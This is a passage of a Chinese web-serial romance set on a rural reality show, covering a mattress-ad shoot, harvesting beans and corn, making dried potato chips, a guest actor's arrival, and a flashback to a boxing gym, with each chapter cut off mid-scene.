许琪抬眼看她说:“我打算留下来帮他们,三个人一起去,我总是帮不到什么忙。” 韩小希闻言,仰头想了想才说:“好吧。” 这几天二人的关系不疏远却也不亲近,许琪能感受得到,但是也不知该怎么改变他们现在的关系。 从小到大不用她去主动交朋友,上赶着来的数不胜数。 她也清楚,那些人看中的是她的身份,所以其实没太真情实感。 但是韩小希对于她来说是不同的,她想要和她走得长远一点,成为很好的朋友。 这样想着,许琪看了看她的背影,对方说完那句话后就没再理她。 许琪抿了抿嘴唇,神情有些落寞地打开门出去了。 韩小希低头给裤子拉上拉链的手顿了下,转瞬如常地行动着。 包菜已经种完了,小葱也是买的秧苗,开垦出一条浅沟,隔着一掌宽的距离将掐了半截头的葱放进去,再扒拉点泥巴压盖住,这不用直立着,而是需要它统一靠向一旁。 “需要我帮你们做什么吗?”许琪不知何时已经来到他们面前,站着问了这么一句。 程三好没有抬头地说:“拿水壶来给它们浇水吧。” 许琪应了,正准备走时,看到了赵柯手套上的干粪,她眉心蹙着,不由自主地伸手捂住鼻息。 这一次她将心直口快的冲动压下去,犹自往外走。 赵柯的眼神里漠然得很,压根不关心她怎样。 “好了,”程三好站起身,打量着这小块地,“完全够我们吃了。” 她抬眼看向赵柯,见他的双手像个雪人一样开叉着,用手背擦了擦额头的汗才说:“休息几分钟?” “嗯。”赵柯往后站远一点,深怕自己的味道臭着她。 程三好就择了个平坦的地方坐下,也不管身下是泥巴,目光放远,在思考待会儿黄心白种哪里。 许琪去而后返,手中提着满满的一壶水,很安静地给种下去的菜苗浇水。 在肖乐保他们回来之前,这大片的菜园子已经点好菜。 下午的日光不强盛,三人坐在大坝的桌子前,程三好不知从哪儿搞来一个棕树扇子,边吃萝卜边给自己慢悠悠地扇风。 她穿着简单的宽松白色半袖,下身一条咖色短裤,整个人简约却又透着点慵懒。 不久,小屋侧旁传来的车声,很快由远及近到了跟前。 肖乐保从车子里下来,欣喜中却好像也紧张,他走到程三好面前,试探性地一问:“大哥,你觉得七千元对你来说意味着什么?” 程三好恍惚明白了什么,仰头想了想,肯定道:“可以买你的人头吧。” “啊?”少年的笑容里顿时复杂起来,半晌对后脚下车的韩小希惊惧道,“要不我们退了吧?我的小命不保了。” 他说着,一个劲儿地往姐姐背后躲。 韩小希其实心里也有点七上八下,货车里拉着的三轮车是小型的那种,车头封闭,人坐在里面可以躲避风雨。车很不错,就是贵。 老板开口要价八千,他们硬生生地磨到七千八百元。 卖土豆的钱这会儿算是基本上全花完了,她又觉得不得不买,回到这里反倒和肖乐保一样有点怂。 她顶着看向她的三条视线,咽了下口水才道:“买这车一共花了七千多,我们带的钱不够,还差八百,要还给老板。” 程三好垂下头,一副没精打采的样子,半晌认命道:“我去拿。” 说完,拖着沉重的脚步往卧室去。 其实这车吧可以慢点买,那头母猪的钱都没给韩老伯,一共是三千。 这下好了,短短几瞬,小屋不但没有钱还负债。 肖乐保偷瞥着大哥的背影突然笑出声,贱兮兮的那种。 韩小希回头看他一眼,诧异道:“你笑什么?好渗 30. 擦手 《身体不说谎》全本免费阅读 程三好在厨房里忙活,突然听到张导在外面喊了自己一声。 她抬手摘下围裙,举步出去。 此时是正午,韩小希带着肖乐保他们去田地里收割红豆了。 玉米可以过段时间,但是套种的红豆却要赶紧拔回来,因为秸秆以及豆荚都枯萎干脆了,雨一下就容易腐烂,到时候再收,就会难上加难。 门外不止站着张导,还有江砚。 她一出来,男人的视线就随之扫了过来。 程三好摹地想起那条被自己洗干净妥帖放到柜子里的领带,她一直想要找个机会还给他,可人没来小屋,她就渐渐忘了这件事。 当下也不是说领带的事,她抬眼照样看进他的眼眸,目光里有询问的意思。 张导在一旁说:“舒眠床垫品牌方点名要你给他们拍赞助广告,拍完后还会给你广告费,你看想法是?” 程三好觉得这不就是钱找上门了嘛,正要开口应下,江砚没移开视线打断她:“我先给你看看合同,再做决定也不迟。” “行。”女生习惯性地绷着嘴唇轻微向两侧牵拉向上,牙齿一颗也没露,磕在下唇内壁,这个动作她做得很好看,眉眼会随之一弯,有股虎憨的感觉。 江砚多看了几秒,才递过手中的合同,提醒她:“认真看拍摄要求。” 程三好嗯了声,低头浏览起来。 她站在江砚身前几步的距离,这样的动作,让她整个人暴露在男人的视野内。 肩膀单薄,鼻头微翘,曲着的纤细脖颈上凸起椎骨,几缕小碎发搭在上面。 男人看着看着,手心有点痒。 女生眼睫毛从他这个位置看去,更浓密黑长了,鼻子下的嘴唇放松时,之间有条微微的间隙,露出上门牙的一小点白色。 突然唇一动,将那条细细的缝压紧。 江砚移开目光,听身前的人说:“我全部浏览完成,还是决定要拍。” 这声音里有点子和平时不一样的微抖,但是就算是肖乐保在跟前,他也听不出他大哥这嗓音有什么异样,因为程三好的神情实在正常。 张导点头:“毕竟这是来之不易的机会啊。” “不过,”他停顿了下,继续问,“你没事吗?耳朵好红。” 程三好不愧是心态强者,稳住说话:“有点热。” 她再次感受到像火一样会灼烧人的目光,但是程三好扭头始终看着张导说话。 导演没有多想:“也是,今天天气温度的确有点高。” “嗯。” 耳朵的红色,衬得女生脸蛋白皙得要命,犹如雪上红梅互相点缀,带来一种摄人心魂的冲击。 江砚不敢再看,只是说:“广告由我来拍,走吧。” 程三好跟着他身后不远不近的距离走着,低头看男人的后脚跟。 对方忽然停下脚步,没有回头说:“站到我的侧旁,不要身后。” 程三好觉得这话真会蛊惑人,自己却还是快走几步与他并肩而行。 拍摄棚里场景搭好了,她跟着工作人员进入到休息室换上服装。 睡衣上身是一条白色宽松吊带,下身是一条同套的短裤,绸缎的面料有光泽且十分光滑,裤管露出来的两条腿又白又细。 可能考虑到她的感受,算上江砚,棚里一共只有三人,打光的、布置景的以及拿摄像头的。 程三好起初觉得真是大惊小怪,她又不是穿着比基尼,直到后面摆动作时,她笑不出来了。 江砚没有拿沉重的摄像机,而是单手举着个相机,对准了她拍。 第一个动作简单,只需在床垫上高兴地跳跃一下,手要向上,腿要弯曲。 一跳,就会露出一截细腰,程三好随意抓的头发披散在肩头也会随着一动。 赤足的脚趾落地时下意识勾着床垫,圆润的脚指甲带着点浅浅的粉色。 “舒眠床垫带给你绝对地弹度,直接跳动,不凹陷。”程三好稳住身体,弯腰靠近相机,对着它笑起来说了这么一句广告语。 稠密的头发往一边肩头跑,有几根发丝甚至触碰到了江砚的手。 他没动,程三好就飞快直起身,光着脚下了床,走向他。 “怎么样?”女生微侧头去看相机,“还行吗?” 身边的人散发出清新淡淡的馥郁香,江砚余光里全是她裸露在外的大片白得晃眼的锁骨。 他很高,这时候才发现女生其实只是看起来清瘦,个子还蛮高的,可以到他的胸脯前。 只要他愿意,一低头就可以将下巴靠在她的脑顶上。 味道似乎是从头发里飘出来的,亦或是身上的沐浴露。 好像是红石榴香味,极淡一点,不浓郁。 江砚绷紧下颌,手背上的青筋突突地跳,语气如常:“可以。” 他不明白心里怎么会如此剧烈地悸动起来,连带着太阳穴也一阵一阵地跳。 这种感受他并不喜欢,然而他依然不曾退后一步,也不会开口对她说一句“你让开点”这种话。 他大概是个明知在凌迟,却还是不可控制地扑上去的疯狗。 这个广告明明可以交给别人去拍,是自己硬要卷进来受此“煎熬”。 程三好早已离开他身侧,江砚却觉得周遭都是她的味道。 轻吐了口气,男人将脑子翻江倒海,狂涌而来的一些记忆接纳住。 二十一班的同学面孔他想起来了些,其中一个好像叫罗坤还是什么来着。 画面一跳,他好像提着某人掼在厕所的窗户上。 当时那种来自灵魂深处的愤怒在此刻传达到江砚的体内,一度让他不由自主地握紧了拳头,他都没发现自己身体正在发抖,像是待在岩浆里被炙烤。 鼻下突然附上来一只温暖的小手,江砚听到有人在喊自己的名字。 “江砚,你怎么了?” “江砚!” 男人被人强制抬起了头,看进了一双关心的眸子里。 程三好另一只手拿着纸巾正在给他堵鼻血,见他看自己,就放开捏他下巴的手。 “要不要去医院?” 江砚脑子回笼,渐渐清醒过来,他仓促往后退,觉得这一刻真是狼狈极了。 “没事。” 男人的慌乱只有一秒,转瞬就恢复往日的松弛,拿出一块蓝色帕子擦了擦自己的鼻血。 这个动作雅气,不急不缓。 程三好不动声色地松了口气,适才她刚转身离开,就听到其他两个工作人员的惊呼,一扭头,这人跟魔怔似的全身绷紧,拳头紧握,鼻子流血也没有动。 “你——” 她其实想问,你身上到底 31. 触碰 《身体不说谎》全本免费阅读 门缝里漏出一缕光芒,喧闹的人声涌入耳膜。 “砰——” 空中的枪声一响,起跑线上的男生们像箭雨一样飞奔出去。 江砚宛若透明人,站在诺大的田径场上,看着高中的那个他,那种急速狂跑带来的肾上腺素飙升,同步传达到他的体内。 运动会上太多喊加油的人,广播里还不停地读着各班送来的激励稿。 “他”参加的应该是1500米长跑,穿着蓝白运动短衫,以拉出第二名几十米的距离夺冠。 其他人陆续地到达终点,“他”站在一旁喘着气,平复呼吸。 有几个女孩子给他送水,他拒绝了。 江砚感受着,知道那刻的“他”很渴,口腔里干涩一片,只想等登记完以后跑去猛灌水。 就在这时,“他”不知看到了什么,眼角先一步有了笑意,见最后一名还在坚持跑,于是朝人群中的身影走去。 “他”这一次接过了水,不过是他从人家那里拿的。 奇怪的是,江砚看不清那个人的脸,只猜到是个女生。 因为“他”面前的人身形很瘦,个子也不高,肩膀拢在宽大的校服里,露出来的手腕很纤细,主要的是,江砚低头,发现这人穿着的鞋是双粉白色的。 虽然她的脸被一团厚重的白雾遮挡了,但是从身形还是能看出这是个女孩子的。 江砚作为闯入这个世界的第三者,无端地伸手捂住心脏。 那里扑通扑通的,就是男高的“他”此时心情。 老师不知喊了句什么,“他”喝完水将水瓶往女孩子手中一放,转身往登记处跑去。 江砚没有跟着去,189厘米高的他靠近留在原地的女生,低头想努力看清她的脸,强劲的引力一下将他吸了出来。 现实中才过去了几秒,就是一个发呆的功夫。 程三好和工作人员都没发现。 江砚眼眸轻阖一下,转瞬就脱离幻境带来的奇异感,不由自主地看向女生的手腕。 ——都有颗浅褐色的痣。 怪不得之前觉得这一幕隐隐见过。 程三好已经笑够了,哪怕她努力让自己面容正色,但是浑身还是一股没由来的松弛感。 当下棚里很安静。 “江总,”打光工作人员还是开口问,“要继续拍吗?” “拍。”江砚将衬衫的袖子掖到肘下,露出肌肉贲张的小臂。 接下来的姿势,需要程三好躺到床上,身体侧着,但是肩膀要扭过来正面迎向,双手交叉举到头顶。 头发在她的脑后铺陈开来,袒露出雪白的肩颈。 侧着身,本就细的腰勾勒出漂亮的曲线。 程三好自己完全是懒着姿态做出来,心里本来没什么想法,直到男人放下相机靠近她。 江砚单膝跪在床边,一只脚在地面垫着,双手在她的身侧撑开,俯身说:“我可以碰你吗?” 程三好一言难尽:“你碰的还少?” 她保持着动作,像是整个人缩在了他的怀里,一抬眼就可以望进那双深眸,自然瞧见了男人眼底的情绪。 ——他在笑。 程三好手指一抖。 江砚全部注意力都放在了她的脸上,没察觉到她这个几乎慌乱的动作,煞有其事地点头,应和她:“也是。” 他说完,动手前,想了想还是先解释:“我接下来碰你是因为要帮你完善动作,别人就不行,知道了吗?” 女生心不在焉地垂着眼皮嗯了声。 听到如此敷衍的回答,男人没生气,只是暗自留了个心眼。 江砚伸手将她的头发理顺,梳理到女生的肩头,整个过程,他的手都没有碰到她的皮肤。 两人距离很近,程三好索性抬眼打量着男人,一脸在欣赏的神情。 江砚手一顿,觉得这人真是…… 他的眸光暗下来,握住她已经放到胸前的手,擒住手腕拉到头顶。 “别看我。” 程三好一面觉得自己幼稚,一面为自己计谋得逞而暗喜。 她满脸认真地点头,眼睛还是看着人。 江砚仰了仰后颈,单手抓住人的手腕不让她动,另一只手扶在她的手肘压了下。 “你保持着这个姿势,”男人迅速抽身,“我拿相机。” 房间内明明不是很热,但是江砚离开后,程三好才觉得不闷了。 除了这个动作,接下来的就简单得多,都是一条就过。 拍完后,程三好正要光脚下床,眼前突然出现一双拖鞋。 江砚把鞋放到床下,头也没抬说:“穿这个,地下凉。” 程三好没拒绝,说了声谢谢,穿好后径直往休息室去换上自己的衣服。 …… 回到小屋,肖乐保他们竟然还没来。 刚才的一切明明过得超级漫长,程三好一看时间,原来只是过了一个多小时。 她带上几瓶水,锁好门决定去他们那儿。 玉米地离小屋有点远,在公路的那一边。 早上的时候,赵柯开着小三轮车载着他们去的。 程三好在工作人员的指示下,才找到那片地。 许琪头发上全是玉米花粉,正坐在田埂上休息。 “给,”程三好将手中的矿泉水递过去,“要水吗?” 许琪胸膛还在有些剧烈地起伏,接过来后喝了几口才说:“谢谢。” “他们人呢?”程三好看到了路边停着的红色三轮车,玉米地里也没看到人。 “上面的这一部分全拔完了,去地的下半部分了。” “嗯。” 程三好将其他几瓶水放到矮的灌丛里,将头发梳成一个低丸子,戴上遮阳帽钻进了玉米林。 此时的玉米秸秆是最甜的时候,味道和甘蔗不相上下。 肖乐保看到韩小希砍下来吃,接过来尝了尝,从此打开世界的大门。 “我靠!” 他的双眼发亮,惊奇不已:“真是绝了,我从来不知道玉米秸秆可以这样甜,汁水也很足!” 三人围坐在泥巴上,两块田地之间有一条五指宽的小溪。 溪水很冰凉,清澈透底,潺潺水流声很是好听。 阳光洒在里面,犹如跳动的小精灵。 水草葱绿,随风摇动。 赵柯咬着根狗尾巴草,累得不想说话,虽然本来他的话就不多。 “是吧?”韩小希十分赞同他的话,“我也好久没吃了。” 肖乐保正要说话,嘴里咬着的秸秆突然滑丢下来。 “吓死我了。” 看见玉米林中走出来的人是程三好,他放下心来。 32. 晒土豆片 《身体不说谎》全本免费阅读 将红豆都装进小三轮车,程三好和韩小希决定走路,因为车内只可以坐三人。 一片片的玉米林之间有一米多宽的小路,人站在上面,左右都是高大的玉米,望不到尽头。 回到小屋后,红豆被放到了大坝里晾晒,天气预报显示明天没有雨,温度也很高。 程三好想制作土豆片,除了有个想法外,自己也有点馋,而且土豆淀粉也可一起搞得。 屋外檐下的灯光黄晕,飞蛾扑腾着翅膀撞上去,响声听着蛮激烈的,但就是次次都毅然扑上去。 光对它像是有极致的吸引,完全是甘之若饴。 吃完晚饭,肖乐保和许琪在厨房洗碗,程三好端着杯热白开浅喝一口说:“早上我想晒土豆片。” “行啊。”韩小希没什么想法。 赵柯逮住机会,恍若不在意地说:“我帮你忙吧。” “我正想这么说。”程三好对着他笑了下,“一个人忙活不过来。” “嗯。”赵柯不知为何移开视线没看她,低头应了声。 半个小时后,肖乐保他们回到卧室洗漱睡觉。 程三好举着把手电筒进入瓦房,准备挑选明天要用来制作土豆片的合格土豆。 就在刚才,她才发现,瓦房里的灯泡是坏的。 看来下次去镇上要记得买回来一个了。 她这样想着,提着个白色麻袋正要蹲身,前面突然出现个颀长的黑影。 说实话,四下寂静的情况,这一幕是有点骇人的。 程三好稳住心态转过身,就见是赵柯。 “我和你一起挑拣吧。”他言简意赅。 “行。”女生让开点身子。 二人话都不多,只是静静地干活儿。 程三好决定一麻袋就行,见装满了,就挥手让赵柯赶紧回去睡觉,自己也回到卧室,快速洗了个澡,爬上床铺睡了过去。 …… 翌日,清晨。 这会儿是早上七点,赵柯就已经起来烧水了。 程三好看到厨房里的人,打着哈欠对他说:“早上好。” “早上好。”赵柯感受当下的这种状态,微扬嘴角打招呼。 程三好拖着步伐走了几步,坐在矮凳上,拿起一个土豆给它削皮。 一个土豆都还没削完,她突然想起了重要的事。 “忘记说了,待会儿我要去凤婶儿那去借个‘擦子’。” “嗯,”赵柯不知道是怎样的一个程序,也拖了个凳子坐到她的对面,“我要怎么做?” 程三好将另一把削皮刀递给他,只是说:“你就先给土豆削皮。” 说着她站起身,弯腰在厨架上找到一个大口径的铁锅。 说是锅,不如说是桶,银色的。 将其装满水,她双手一提,发现太重,于是不回头地叫人:“赵柯,帮我个忙。” 男生听到自己的名字一顿,半晌,他神色有点局促地起身。 “我来吧。” “不是嘲讽你,是真的需要两个人提着一边的一个把手,才能放到稍高的电磁炉上。” “那,好,一起。” 按下开关,两人回到土豆堆前,手速很快。 不锈钢盆里也装满了水,丢进去的土豆渐渐增多。 八点半,肖乐保他们起床了。 他昨晚上窝在床铺里打游戏了,这会儿困得眼睛都睁不开,头发支棱着,不知道的还以为他被手榴弹袭击了,十分炸裂。 厨房里的光景让他停下脚步,好一会儿才找回自己声音似的说:“大哥,你们这是在做什么?” “制作土豆片。” “嘿嘿,”肖乐保傻笑一声,挠了挠自己的肚子说,“这下有口福了。” 程三好被他那几近猥琐的笑声搞得浑身不适,满脸嫌弃:“没你的份儿。” 肖乐保双手交握,跟熊二一样放到颈侧,眨巴着眼睛撒娇:“求——” “收回去。” “熊大”程三好眼神警告,阻止了一场视觉灾难的发生。 …… 三人吃点早餐就去地里继续拔红豆,毕竟十亩玉米里都栽种着谷类。 程三好估摸着凤婶儿应该起了,就找到她借了“擦子”。 这种东西市面上也有,原理和切土豆丝是一样的。 不过农家人手里存的这种,纯木制作,尺寸也合适。 削皮的土豆洗干净,握在手心用力地一擦,均匀的薄片就会从下面出来。 放置工具的盆里要装着水,这样掉落里面的土豆片可以被水泡住,又可以脱掉一层淀粉,晒干后热油炸,才会更加爽脆。 生的土豆片放入沸腾的热水,火候不要减小,再加入适量的盐巴,煮熟后用漏勺捞出沥干水分。 将其倒入一个盆,程三好端着往外走。 爬上平房顶,打扫干净的水泥面铺着一张深绿色的细纱网。 赵柯紧随其后,看她怎么做。 刚出锅的土豆片会有点烫,所以要将其分开倒在纱网上。 程三好拿起一片放到纱网最顶上,嘴里解释道:“不用担心,就只是让它们紧凑地摊平,注意到不要有粘黏就行。” “嗯,”赵柯看明白了,蹲下身子,“你去管锅里的吧,这些我来。” 程三好临下楼梯前,看了他半晌,确定他没什么问题,才回到厨房继续捯饬。 随着时间的流逝,太阳渐渐火辣起来,尤其九点十点的时候,水泥地上直接是烫脚的。 程三好负责擦土豆片,煮熟后送到房顶,而赵柯一直待在上面晒。 最后一锅结束,二人的耐心不如开始,很明显纱网上后面摆的要么空隙大,要么有些是两片贴在一起的。 不过日光歹毒,不会有影响,它们会接受不住炙烤而妥协分开的。 全部摆完后,就不用管了,等到下午,水分基本上被晒干,土豆片的体积小了几倍,装进透明的塑料袋,一共装了三袋。 程三好低头看着,觉得还行,可以吃一段时间了。 然而土豆淀粉就没有多少了,它们是靠擦下来的土豆片泡到水中沉淀而成。 她本来都不想要了,转瞬想到什么,就将其表面的水倒了,连着盆端到外面让阳光晒。 淀粉覆盖在盆底,薄薄的一小层。 程三好用锅铲将它刮下来,准备用来做酥肉粑。 赵柯开着小三轮车去拉红豆了,她留下来做晚饭。 土豆片放到热油里炸,会迅速膨胀变大,每一次丢锅里都是三四片这样丢,是为了不让它糊了。 程三好炸了满满的一大碗,原封原味的吃,没有加如何辣椒粉之类的。 因为这东西就是这样吃的,市面上卖的那种加了各种作料,她吃起来觉得不但不好吃,反而破坏这道食物。 张导闻着味道,眼睛都瞪直了,口水更不来不及吞咽。 “有点饿,我可否拿一片吃?” 节目组还未下班,要拍摄完他们的夜晚,才能去镇上吃饭,这会儿真的馋的不行。 程三好在厨房,透过前面打开的窗子,看见了一条条冒头的鱼。 她的嘴角带着点意味不明的笑意,用筷子夹起四五片土豆片分发给节目组的工作人员。 “一人一片啊,”她神情温柔,语气更是,“都尝尝味道怎么样。” 张导将那酥脆黄灿的土豆片丢入嘴里,立马咀嚼起来。 不一会 33. 飞行嘉宾 《身体不说谎》全本免费阅读 程三好:“……” 赵柯停好车,进来见她神色,开口解释道:“他们中午带去的饭没来得及吃,就被昆虫先行一步霸占了,刚好剩下没拔的红豆今天可以拔完,于是就饿着肚子继续干活儿。” “原来如此,”程三好将电磁炉搬到那个方形的火炉铁板上,冲他们说,“开饭吧。” 肖乐保见是火锅,差点又要嚎叫起来,被他大哥塞了把生菜,只能呜咽着端起凳子往锅边蹭。 韩小希接过米饭,连着扒拉了好几大口,才找回神志地问:“这玩意儿你怎么做的啊?好好吃。” 程三好不停地给锅里夹菜涮肉,闻言淡淡道:“酥肉粑吗?准备几勺小麦粉,然后打入三四个鸡蛋,搅拌均匀后掺入温水,直到看起来粘稠呈现淡黄色就可以了。” “啊,”肖乐保鼻头都是汗,边吃边说,“没有肉?” “是啊。” “炸出来的吗?”韩小希继续问道。 程三好吃了一片脆硬的土豆片才说:“嗯,用小的那种铁勺子舀起来倒入热油炸膨胀就成。” “话说,”韩小希听完,带着点疑惑,“怎么会有糯米的那种黏糯感啊,吃起来还挺有嚼劲。” “我加了点土豆淀粉。” “哦,那这样就说得通了。” 大家东一句西一句地聊着,蛙鸣在路边的小水洼里一声接一声地响着。 公路上偶尔才会经过辆车子,飞驰声闷闷的,转瞬即逝。 …… 第二天早上,来了一个飞行嘉宾。 肖乐保当时正在大坝里用木棒翻晒红豆,听到驶来的车子声,不知所谓地转过身。 车里下来的是一个男人,年龄在三十左右。 虽然不常关注微博,但是肖乐保也知道此人。 陆铭,前不久刚拿下了三金的影帝。 他的长相硬朗,体型雄伟,姿势板正,满脸正气,参演的电影多是悬疑或者伟光正的爱国主义题材。 肖乐保收起一身的懒散,放下木棒,快走几步,双手不自觉地放到身侧站直,拘谨叫人:“陆老师好。” 陆铭笑笑,摆手道:“不用那么客气。” 见他还是绷着身体,陆影帝只好问:“其他人呢?” “去田里了。” 肖乐保说完,急忙伸手示意:“屋里坐。” 陆铭跟在他身后,边走边问:“你叫什么?” 少年眼神不敢飘,认认真真回答:“肖乐保。” “噢,”这一声音调拖得有点长,想来是在回忆是否见过这人,可能陆影帝只关心工作的事,又或者是因为肖乐保在娱乐圈太糊,他接着说,“是个好名字。” 肖乐保努力微笑:“谢谢您。” 陆铭不懂小男生的心思,虽然他也只是大了十岁,但是已经跟不上现在年轻人的思路了,主要也是有他自己的性格原因,典型的老干部,手中抱着个保温杯,里面泡着枸杞。 没等他说什么,门外就传来了其他人的声音。 “照这样的速度下去,我觉得再有个两天就可以全部拔完了吧?” “嗯嗯,我看也是。” 许琪边点头边抬腿进了屋子,看见出现的陌生人傻眼了。 陆铭见这个小朋友的神情,就知道怕是张导没与他们提前说明。 他面上微笑着伸出手,说:“你好,我叫陆铭,是这一期的飞行嘉宾。” “噢,”许琪回过神,赶紧与人握了握,“我叫许琪。” “好,我记住了。” 他说完,又问后面跟进来的女孩子:“你呢?” “韩小希。” 陆影帝社交能力很有一套,他颔首:“都是好名字。” 在场的这些人没见过,也没拍摄影视剧什么的,就不能来一句“久仰大名”或者“我看了,你演得那个角色很厉害”之类的话。 是个成熟的男人。 韩小希心想。 “陆老师,你吃过饭了吗?”肖乐保见大家都木楞地站着,主动找话题。 “说来不好意思,还没吃过。” 肖乐保神色尴尬,一拍自己的大腿:“啊,那你就坐着,待会儿做好大家一起吃吧。” 说完,他搂着韩小希往门外走。 偏头低语:“我们都不会做,要去叫大哥吗?” “要的吧?”韩小希也不确定。 肖乐保直接拿把握,说:“你招待着,我去叫!” 话音还没落,人已经飞出去了。 韩小希静了几秒,转身进了房屋,洗了些水果端到堂屋的桌子上,说:“陆老师,吃水果。” 陆铭也不客气,拿起颗葡萄丢进嘴里,抬头看着她说:“很甜,谢谢。” 韩小希见状,才钻进厨房,准备淘米煮饭。 许琪像个木偶,僵硬着步伐在屋里踱步。 她看了看韩小希的背影,满脸踌躇,欲言又止。 “来水池洗菜吧。”前面的人这时开口说了这么句话。 许琪心情雀跃起来,高兴地应了声。 陆铭见她们在忙,索性站起来在房间里转了转,又去到外面打量。 真够穷的。 秋天已经即将要过半,这屋里没有空调,没有炭,阴天的时候根本待不住,太冷了。 瓦房的梁被虫蛀,看着随时要断。 只刷了一层白色漆的墙壁有些已经褪了掉下来。 肖乐保去地里叫人的时候,程三好和赵柯正在割玉米。 收玉米就要比挖土豆要辛苦得多,因为你要对着它的秸秆底部用镰刀割下来堆成一堆,到时候人拿着个撕玉米壳的木簪子或者硬胶材质的工具坐着将玉米摘下来。 七点出门,截至目前仅仅两个小时,他们二人已经割了一亩多的地。 程三好听他说完,放下镰刀,三人一起往回走。 韩小希见着人来了,就像遇见主心骨一样,下意识松了口气。 “快,三好,”她就差没抱上来了,“还需要我洗些什么,菜之类的都备好了。” “嗯,容我看一看。” 程三好说着进入厨房,身后的肖乐保就跟陆铭说:“陆老师,她叫程三好,而那一位是赵柯。” “嗯,等等,”他一停顿,大家的心揪紧。 陆铭没有注意,只是对着赵柯快速走了几步。 “还记得我吗?当年演电影《回家》时,我们一起合作过。” 赵柯的脸刷的变成灰白,嘴唇毫无血色,眼神空洞,周围人都发现他的不对劲了。 肖乐保抚上他的肩膀,语气担忧:“兄弟,你怎么了?身体不舒服?低血糖?” 赵柯的耳朵好似被一团若有若无的潮水堵住,嗡鸣声不断,外界的声音听起来也不真切。 他浑身僵硬地站着,那双死气的眼睛只盯着陆铭。 陆影帝不知道这孩子过去几年经历了什么,但是一起合作的日子里,他对这人的印象就是待人 35. 谁赢了 《身体不说谎》全本免费阅读 “凭什么!凭什么!靠!哐当——” 电脑突然被此人横扫了出去,砸在地上发出刺耳的声音。 黑衣男帽子下露出来的脸苍白憔悴,眼里满是戾气,他看都没看地上摔碎的东西,径直拿起一旁的手机,粗鲁地划开,点进消息详情页查看。 傻逼王某:这里有个工作,要不要来试试,过时不候,地址:**** 过分瘦弱的男人紧紧盯着页面看了几秒,半晌狠狠朝地面啐了一口,才不急不慢地伸手回复:行。 出租屋里是万年不变的潮湿,隔壁邻居是一对进厂打工的夫妻,这会儿又开始了争吵。 “组长安排她和我做,我有什么办法,你不要无理取闹!” “我无理取闹?好啊,王强,我没跟你好的时候,你恨不得像个狗皮膏药似的贴上来,现在我不年轻了,你就去找那个婊子是吧?啊?” “我都说了多少次了,我踏马和她清清白白,没有半点对不起你的地方!你不要逼我打你!” “打我?来啊,朝这儿打,你最好打死我!不然我做鬼都不原谅你!” “你以为我不敢吗?啊?” “来啊!狗逼东西!我看上你真是倒了八辈子的霉!” 接下来就是争吵伴随着打架的砰砰声,小区又破又旧,隔音更是差到离谱。这对夫妻的动手,整个楼道都可以听得清楚。 太阳穴一阵接一阵的跳,黑衣男人忍无可忍地将桌上玻璃杯朝着墙面砸去。 “砰——” 隔壁的动静倏地就停止了,他抬腿跨过地上杂乱的物品,打开铁门离开了这里。 …… 花儿拳馆,是一家规模不大的拳击学习拳馆,不搞擂台比赛,只搞健身娱乐。 店名挺别致,曾经一度劝退了很多的顾客,但奈何不住老板的名气大啊。 作为蝉联过三届国内拳击比赛冠军的职业选手费知常,想当初也是风靡一时的存在。 退役后,凭借其出众的外貌,众多迷妹迷弟一度让这个拳馆声名大噪,水泄不通。 不过后来在偶像的魔鬼冷酷训练下,那点子迷恋消失个干净,筛选下来的人自然就是那些真正想学习拳击的人。 真正见过费知常年轻时的人都知道,这人很狂,非常狂,店名简直不是他的品味。 有粉丝从他熟人那里打听到一些,说是大概率这费老板创建拳馆的时候可还真不是这个名儿,好像叫什么“费王战馆”还是什么的,反正也不是多么好听。 “接下来呢?” 程三好少有感到好奇的事,继续追问旁边的老伯。 老伯名叫许贵,跟在费知常身边也有好些年了,主要负责拳馆里的卫生和招待顾客。 想到什么,他神情突然低落下来,放下手中的扫帚,一同与程三好坐在门前的台阶上。 “后来也不知发生了什么变故,老板性情大变,我遇到他的时候,他的状态就非常不稳定了,常常寂寥地往那沙发上一坐就是一整天,简直跟丢了魂似的。之后从老板的父母那里才知道,原来他——” “后来我就怎样?” 突然穿插进来的男声把程三好和许老伯吓了一跳,二人一扭头,就见费知常抱手倚靠在门框上,混不在乎地盯着他们。 许老伯当机立断捡起扫帚,起身站立,表情认真,就差一个敬礼的手势,语气坚定:“我记起来二楼还有一个房间没有打扫,这就去。” 语毕,人已经飞奔至楼梯口,对着程三好爱莫能助地摊手,果断地溜之大吉。 程三好目瞪口呆地看着一个年过半百的老人突然健步如飞,然后将自己丢到老虎口边,一时没反应过来。 “我说,你们都在讨论我什么?” 费知常懒散地插着兜,眼斜睨着门口的女生,语调慢悠悠,但周身的气质却截然相反。 有些人你遇见,就是一眼能瞧出他不好惹,哪怕对方没有对你做出威胁的动作。 程三好缓缓站直身体,僵硬地挑起半边嘴角,语气勉强:“费叔,刚才……聊你呢。” “哦?”费知常抬起大长腿,轻松就到了女生眼前,高高扬起了手。 程三好瞳孔紧缩,随即紧紧闭上,然而想象中的疼痛并没有来。 感受到头上大手的抚摸,她睁开眼,看进了对方眼里。 “臭丫头,我何时苛待过你,一副这弱鸡模样。” 不悦的气息消失殆尽,取而代之的是那手掌下隐约的关心。 程三好不动声色地松了口气,刚要心生感动,突然瞥到旁边玻璃门里反射的自己。 她的头发在某人的操作下,成功晋升为海胆家族一员。 女生简直都要气笑起来了,还疑惑这个大叔怎么会摸她的头,敢情他不安好心。 程三好无聊地耷拉着眼睛,将自己头上的手啪嗒扒拉下去,一副生无可恋的样子。 “费叔,你真幼稚。” 说完也不看人,往房间里走去。 费知常趿着双蓝底白花的骚气人字拖紧跟了上去,出口埋怨道:“好啊,好啊,说了多少次了,要叫哥,你硬是不叫,现在更是目中无人了,想当初是谁!在人群中一眼瞧中了你!又是谁!拯救你于苦火!又是谁!教你毕生所学!可现在,” 说到此处,男人抹了一把眼泪,还要继续哭诉,突然见前面的人停了下来。 程三好转过身看着他,说:“好久没比试了,来一场?” 女生的自信和张扬在这一刻通通表露无疑,是独属于年轻人才有的恣意。 费知常恍惚中看到了多年前赛场上的自己,也是这般青春,这般蓬勃。 “臭丫头,”他笑着说了一句,转瞬拿过一旁的护具戴上,抬手指向女生,“接下来,可别输得太惨。” “那还真说不定。” 离开的许老伯拿着把扫帚在二楼房间里瞎转一圈,待时间差不多了,才挺了挺胸脯,佯装出大功告成的样子,抬步来到二楼阳台处。 嗯? 眼前的情景让他疑惑,这才一会儿功夫,这两人怎的鼻青脸肿地躺擂台上了。 他心中有了不好的猜测,飞快地跑下了楼,抓着围栏问里面的二人,神情沉重:“谁?” 